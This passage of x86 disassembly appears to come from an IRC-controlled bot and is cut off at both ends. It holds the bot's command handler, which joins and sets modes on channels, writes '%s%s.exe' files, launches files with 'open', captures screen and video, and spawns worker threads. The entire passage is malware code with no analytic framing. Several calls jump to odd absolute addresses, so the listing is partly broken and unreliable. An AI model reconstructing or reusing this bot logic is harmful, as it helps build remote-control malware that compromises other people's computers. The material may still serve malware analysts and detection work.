[ebp+var_638], bx push [ebp+arg_10] mov [ebp+var_63C], esi call sub_41B779 add esp, 10h cmp eax, esi jnz short loc_408403 mov [ebp+var_638], 5 loc_408403: ; CODE XREF: sub_401ACD+692Bj cmp [ebp+var_C], ebx jz loc_406CDE push edi push [ebp+var_C] call sub_41B900 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406CDE lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call near ptr 2660B41h nop test eax, eax jnz short loc_40844C push offset unk_429FE0 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40844C: ; CODE XREF: sub_401ACD+6973j push edi push offset dword_429FC4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408457: ; CODE XREF: sub_401ACD+4ACBj ; sub_401ACD+4AE2j push edi push offset aDark ; "Dark" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085D0 lea eax, [ebp+var_48F0] push eax push 104h nop call near ptr 26A0000h push 0FFh lea eax, [ebp+var_25D0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_17D0] push eax call sub_40AD80 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax call sub_41B886 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_4084EC push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_4084F2 ; --------------------------------------------------------------------------- loc_4084EC: ; CODE XREF: sub_401ACD+6A09j mov [ebp+var_23C0], ebx loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408509 push esi call sub_41B779 pop ecx mov [ebp+var_23C4], eax jmp short loc_40850F ; --------------------------------------------------------------------------- loc_408509: ; CODE XREF: sub_401ACD+6A2Bj mov [ebp+var_23C4], ebx loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_23B8], eax lea eax, [ebp+var_2C4] push offset dword_429F8C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4085BF loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j cmp [ebp+var_23B0], ebx jnz loc_406CDE push 32h nop call near ptr 2670ECAh jmp short loc_4085A9 ; --------------------------------------------------------------------------- loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj call near ptr 2680925h nop push eax push offset dword_429F50 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4085D0: ; CODE XREF: sub_401ACD+6999j push offset dword_429F08 loc_4085D5: ; CODE XREF: sub_401ACD+2E73j ; sub_401ACD+457Cj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_406CDE ; --------------------------------------------------------------------------- loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj ; sub_401ACD+4AB4j push [ebp+var_8C] push offset dword_42C938 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 push [ebp+arg_10] call sub_41B779 add esp, 28h test eax, eax jle short loc_408673 push [ebp+arg_10] call sub_41B779 imul eax, 3E8h pop ecx push eax nop call near ptr 2670ECAh loc_408673: ; CODE XREF: sub_401ACD+6B8Ej push offset dword_429EE4 call sub_4151AC mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408687: ; CODE XREF: sub_401ACD+4A6Fj ; sub_401ACD+4A86j push [ebp+var_8C] push offset dword_42C938 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C070 add esp, 10h test eax, eax push esi jz short loc_408745 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset dword_429ECC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 add eax, [ebp+arg_24] pop ecx jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408745: ; CODE XREF: sub_401ACD+6BFAj push offset unk_429E98 loc_40874A: ; CODE XREF: sub_401ACD+7542j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408759: ; CODE XREF: sub_401ACD+74CAj ; sub_401ACD+7623j cmp [ebp+var_8], ebx jnz short loc_40877A push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj ; sub_401ACD+72C7j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_409853 ; --------------------------------------------------------------------------- loc_40878B: ; CODE XREF: sub_401ACD+4A41j ; sub_401ACD+4A58j push 7Fh lea eax, [ebp+var_2214] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2194] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2114] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_208C], eax lea eax, [ebp+var_2C4] mov [ebp+var_2218], esi push offset unk_429E64 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset byte_4143CB push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40884B loc_408839: ; CODE XREF: sub_401ACD+6D7Cj cmp [ebp+var_2088], ebx jnz short loc_408866 push 32h nop call near ptr 2670ECAh jmp short loc_408839 ; --------------------------------------------------------------------------- loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj nop call near ptr 2680925h push eax push offset unk_429E28 loc_408857: ; CODE XREF: sub_401ACD+6E89j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408866: ; CODE XREF: sub_401ACD+6D72j ; sub_401ACD+6E6Dj cmp [ebp+var_8], ebx jnz loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_409628 ; --------------------------------------------------------------------------- loc_408886: ; CODE XREF: sub_401ACD+4A13j ; sub_401ACD+4A2Aj push 7Fh lea eax, [ebp+var_23A8] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2328] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_22A8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2220], eax lea eax, [ebp+var_2C4] mov [ebp+var_23AC], esi push offset dword_429DFC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset byte_413B77 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40894A loc_408934: ; CODE XREF: sub_401ACD+6E7Bj cmp [ebp+var_221C], ebx jnz loc_408866 push 32h nop call near ptr 2670ECAh jmp short loc_408934 ; --------------------------------------------------------------------------- loc_40894A: ; CODE XREF: sub_401ACD+6E65j nop call near ptr 2680925h push eax push offset dword_429DC0 jmp loc_408857 ; --------------------------------------------------------------------------- loc_40895B: ; CODE XREF: sub_401ACD+49E5j ; sub_401ACD+49FCj push edi lea eax, [ebp+var_2C4] push offset dword_429DB8 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 10h loc_408978: ; CODE XREF: sub_401ACD+6F16j test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 loc_408994: ; CODE XREF: sub_401ACD+7A55j lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C jmp loc_404933 ; --------------------------------------------------------------------------- loc_4089BF: ; CODE XREF: sub_401ACD+49B7j ; sub_401ACD+49CEj push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push edi push offset dword_429DA4 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 14h jmp short loc_408978 ; --------------------------------------------------------------------------- loc_4089E5: ; CODE XREF: sub_401ACD+4989j ; sub_401ACD+49A0j push edi lea eax, [ebp+var_2C4] push offset dword_42B460 push eax call sub_41B886 mov esi, [ebp+arg_10] push esi call sub_41B779 add esp, 10h test eax, eax jle loc_409854 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push edi push esi push offset dword_429D88 loc_408A4B: ; CODE XREF: sub_401ACD+7009j ; sub_401ACD+7078j ... call sub_415220 jmp loc_404933 ; --------------------------------------------------------------------------- loc_408A55: ; CODE XREF: sub_401ACD+495Bj ; sub_401ACD+4972j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408A84 push esi lea eax, [ebp+var_2C4] push offset dword_429D80 push eax call sub_41B886 add esp, 0Ch loc_408A84: ; CODE XREF: sub_401ACD+6FA0j mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D64 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408ADB: ; CODE XREF: sub_401ACD+492Dj ; sub_401ACD+4944j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push esi push offset dword_429DB0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D48 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408B4A: ; CODE XREF: sub_401ACD+48FFj ; sub_401ACD+4916j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset unk_429D20 jmp loc_40984D ; --------------------------------------------------------------------------- loc_408B86: ; CODE XREF: sub_401ACD+48D1j ; sub_401ACD+48E8j push [ebp+var_8C] push offset dword_42C938 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 push edi push offset dword_429D14 push [ebp+arg_4] call sub_409A2C push [ebp+arg_10] call sub_41B779 imul eax, 3E8h add esp, 10h push eax nop call near ptr 2670ECAh push [ebp+esi+var_84] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_429D00 call sub_4151AC jmp loc_40351F ; --------------------------------------------------------------------------- loc_408BEA: ; CODE XREF: sub_401ACD+48A3j ; sub_401ACD+48BAj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push esi lea eax, [ebp+var_2C4] push offset dword_42A434 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 20h push esi push [ebp+arg_10] push offset unk_429CE4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408C57: ; CODE XREF: sub_401ACD+4875j ; sub_401ACD+488Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 14h push esi push [ebp+arg_10] push offset unk_429CC4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408CAC: ; CODE XREF: sub_401ACD+4847j ; sub_401ACD+485Ej cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 push eax push [ebp+arg_10] call sub_4150B4 pop ecx pop ecx push [ebp+arg_10] push offset unk_429CA4 loc_408CDB: ; CODE XREF: sub_401ACD+5852j ; sub_401ACD+7B2Aj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_40960F ; --------------------------------------------------------------------------- loc_408CEF: ; CODE XREF: sub_401ACD+4819j ; sub_401ACD+4830j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4184E1 jmp loc_4040FC ; --------------------------------------------------------------------------- loc_408D09: ; CODE XREF: sub_401ACD+47DBj ; sub_401ACD+47F0j push [ebp+arg_10] push [ebp+arg_1C] call sub_41B900 pop ecx test eax, eax pop ecx jz loc_409854 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408DB1 push esi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push [ebp+arg_10] push offset unk_429C7C push eax call sub_41B886 add esp, 10h inc [ebp+arg_24] jmp loc_40877A ; --------------------------------------------------------------------------- loc_408D99: ; CODE XREF: sub_401ACD+726Fj lea eax, [ebp+var_2C4] push offset unk_429C4C push eax call sub_41B886 pop ecx pop ecx jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DB1: ; CODE XREF: sub_401ACD+725Aj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset dword_429C30 push 200h push eax call sub_41B980 add esp, 10h jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DFD: ; CODE XREF: sub_401ACD+47B1j ; sub_401ACD+47C6j push offset aScreen ; "screen" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408E58 mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_408E45 push edi call sub_4153BC cmp eax, 1 pop ecx jnz short loc_408E3E push edi lea eax, [ebp+var_2C4] push offset unk_429BFC push eax call sub_41B886 add esp, 0Ch jmp short loc_408E58 ; --------------------------------------------------------------------------- loc_408E3E: ; CODE XREF: sub_401ACD+7358j push offset unk_429BCC jmp short loc_408E4A ; --------------------------------------------------------------------------- loc_408E45: ; CODE XREF: sub_401ACD+734Cj push offset unk_429B90 loc_408E4A: ; CODE XREF: sub_401ACD+7376j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408E58: ; CODE XREF: sub_401ACD+7341j ; sub_401ACD+736Fj push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408EE5 xor edi, edi loc_408E6D: ; CODE XREF: sub_401ACD+7403j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4CAFA4 test eax, eax jz short loc_408ECC lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset unk_429B60 push eax call sub_41B886 push ebx lea eax, [ebp+var_5D88] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h loc_408ECC: ; CODE XREF: sub_401ACD+73C1j inc edi cmp edi, 0Ah jl short loc_408E6D lea eax, [ebp+var_2C4] push offset unk_429B38 push eax call sub_41B886 pop ecx pop ecx loc_408EE5: ; CODE XREF: sub_401ACD+739Cj push offset aFrame ; "frame" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408F86 cmp [ebp+esi+var_88], ebx jz short loc_408F73 cmp [ebp+esi+var_84], ebx jz short loc_408F73 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408F73 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408F73 push eax call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_4155F7 add esp, 10h test eax, eax jnz short loc_408F6C push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset unk_429B04 push eax call sub_41B886 add esp, 0Ch jmp short loc_408F86 ; --------------------------------------------------------------------------- loc_408F6C: ; CODE XREF: sub_401ACD+7480j push offset unk_429AD0 jmp short loc_408F78 ; --------------------------------------------------------------------------- loc_408F73: ; CODE XREF: sub_401ACD+7436j ; sub_401ACD+743Fj ... push offset unk_429A98 loc_408F78: ; CODE XREF: sub_401ACD+74A4j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408F86: ; CODE XREF: sub_401ACD+7429j ; sub_401ACD+749Dj push offset aVideo ; "video" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408759 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40901E mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_40901E mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40901E mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40901E mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40901E push esi call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+arg_18] call sub_41B779 pop ecx push eax push [ebp+arg_0] call sub_41B779 pop ecx push eax push [ebp+arg_1C] call sub_4157F0 add esp, 14h test eax, eax jnz short loc_409014 push [ebp+arg_1C] push offset unk_429A64 jmp loc_40874A ; --------------------------------------------------------------------------- loc_409014: ; CODE XREF: sub_401ACD+7538j push offset unk_429A24 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_40901E: ; CODE XREF: sub_401ACD+74DCj ; sub_401ACD+74EAj ... push offset unk_4299E4 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_409028: ; CODE XREF: sub_401ACD+4041j ; sub_401ACD+4056j push offset aR ; "r" push [ebp+arg_10] call sub_41B4C2 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_409098 mov esi, 200h push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 0Ch loc_409053: ; CODE XREF: sub_401ACD+75B5j test eax, eax jz short loc_409084 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 20h jmp short loc_409053 ; --------------------------------------------------------------------------- loc_409084: ; CODE XREF: sub_401ACD+7588j push edi call sub_41B05B pop ecx push [ebp+arg_10] push offset unk_4299C0 jmp loc_409226 ; --------------------------------------------------------------------------- loc_409098: ; CODE XREF: sub_401ACD+756Ej push [ebp+arg_10] push offset unk_42999C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+4017j ; sub_401ACD+402Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push offset asc_429998 ; "\n" push esi call sub_41BEC0 push esi call sub_419A50 add esp, 0Ch test eax, eax jnz short loc_4090F5 push offset unk_42996C loc_4090E2: ; CODE XREF: sub_401ACD+754Cj ; sub_401ACD+7556j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_408759 ; --------------------------------------------------------------------------- loc_4090F5: ; CODE XREF: sub_401ACD+760Ej push esi lea eax, [ebp+var_2C4] push offset dword_429954 push eax call sub_41B886 add esp, 0Ch jmp loc_40877A ; --------------------------------------------------------------------------- loc_40910F: ; CODE XREF: sub_401ACD+3FEDj ; sub_401ACD+4002j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_409854 push eax call sub_418211 test eax, eax pop ecx jnz short loc_40913F push offset unk_429934 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_40913F: ; CODE XREF: sub_401ACD+7669j push offset dword_429918 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_409146: ; CODE XREF: sub_401ACD+3FC3j ; sub_401ACD+3FD8j push 7Fh lea eax, [ebp+var_2080] push [ebp+arg_10] push eax call sub_41B5F0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409177 push 7Fh lea eax, [ebp+var_2000] push esi push eax call sub_41B5F0 add esp, 0Ch loc_409177: ; CODE XREF: sub_401ACD+7696j push 7Fh lea eax, [ebp+var_1F80] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+var_2C4] push offset dword_429900 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B0F6 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41ADB5 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40921A loc_409204: ; CODE XREF: sub_401ACD+774Bj cmp [ebp+var_1EF4], ebx jnz loc_406CFF push 32h nop call near ptr 2670ECAh jmp short loc_409204 ; --------------------------------------------------------------------------- loc_40921A: ; CODE XREF: sub_401ACD+7735j call near ptr 2680925h nop push eax push offset unk_4298C0 loc_409226: ; CODE XREF: sub_401ACD+29CEj ; sub_401ACD+75C6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_406CFF ; --------------------------------------------------------------------------- loc_40923A: ; CODE XREF: sub_401ACD+3F99j ; sub_401ACD+3FAEj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_40F96A add esp, 10h push [ebp+arg_10] push offset dword_4298A8 jmp loc_40984D ; --------------------------------------------------------------------------- loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj ; sub_401ACD+3F84j push 14h lea eax, [ebp+var_1D48] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+arg_10] push offset aS_1 ; "%s" push eax call sub_41B886 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C30] push 80h push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+var_2C4] push offset unk_429884 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset loc_415E1A push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz loc_4023E6 loc_409325: ; CODE XREF: sub_401ACD+786Cj cmp [ebp+var_1BA0], ebx jnz loc_4083BC push 32h call near ptr 2670ECAh nop jmp short loc_409325 ; --------------------------------------------------------------------------- loc_40933B: ; CODE XREF: sub_401ACD+3F45j ; sub_401ACD+3F5Aj push [ebp+arg_10] call near ptr 26801C1h nop test eax, eax jz short loc_409366 push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset dword_429868 push 200h push eax call sub_41B980 jmp loc_409444 ; --------------------------------------------------------------------------- loc_409366: ; CODE XREF: sub_401ACD+7879j push offset dword_42A070 call sub_41814C pop ecx push eax jmp loc_403F47 ; --------------------------------------------------------------------------- loc_409377: ; CODE XREF: sub_401ACD+3F1Bj ; sub_401ACD+3F30j push [ebp+arg_10] call sub_41B779 push eax call sub_4199C9 pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_409398 push offset unk_429844 jmp short loc_40939D ; --------------------------------------------------------------------------- loc_409398: ; CODE XREF: sub_401ACD+78C2j push offset unk_429814 loc_40939D: ; CODE XREF: sub_401ACD+78C9j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406D02 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j ; sub_401ACD+3F06j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4196BC add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_4093FC push offset unk_4297F4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4093FC: ; CODE XREF: sub_401ACD+7923j push offset unk_4297C4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_409406: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDCj mov esi, [ebp+arg_10] push esi call dword_4CAFB4 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_40944C push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CAF2C cmp eax, ebx jz short loc_409467 push dword ptr [eax] loc_409432: ; CODE XREF: sub_401ACD+7998j push esi lea eax, [ebp+var_2C4] push offset unk_4297A4 push eax call sub_41B886 loc_409444: ; CODE XREF: sub_401ACD+7894j add esp, 10h jmp loc_406CDE ; --------------------------------------------------------------------------- loc_40944C: ; CODE XREF: sub_401ACD+794Cj push esi call dword_4CAFF8 cmp eax, ebx jz short loc_409467 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CB000 push eax jmp short loc_409432 ; --------------------------------------------------------------------------- loc_409467: ; CODE XREF: sub_401ACD+7961j ; sub_401ACD+7988j push offset unk_42977C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_409471: ; CODE XREF: sub_401ACD+3E9Dj ; sub_401ACD+3EB2j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41B5F0 add esp, 0Ch push [ebp+arg_10] push offset unk_429754 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40948E: ; CODE XREF: sub_401ACD+3E73j ; sub_401ACD+3E88j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_4CAEE0 push [ebp+arg_10] test eax, eax jz short loc_4094B2 push offset unk_429734 jmp loc_406CCF ; --------------------------------------------------------------------------- 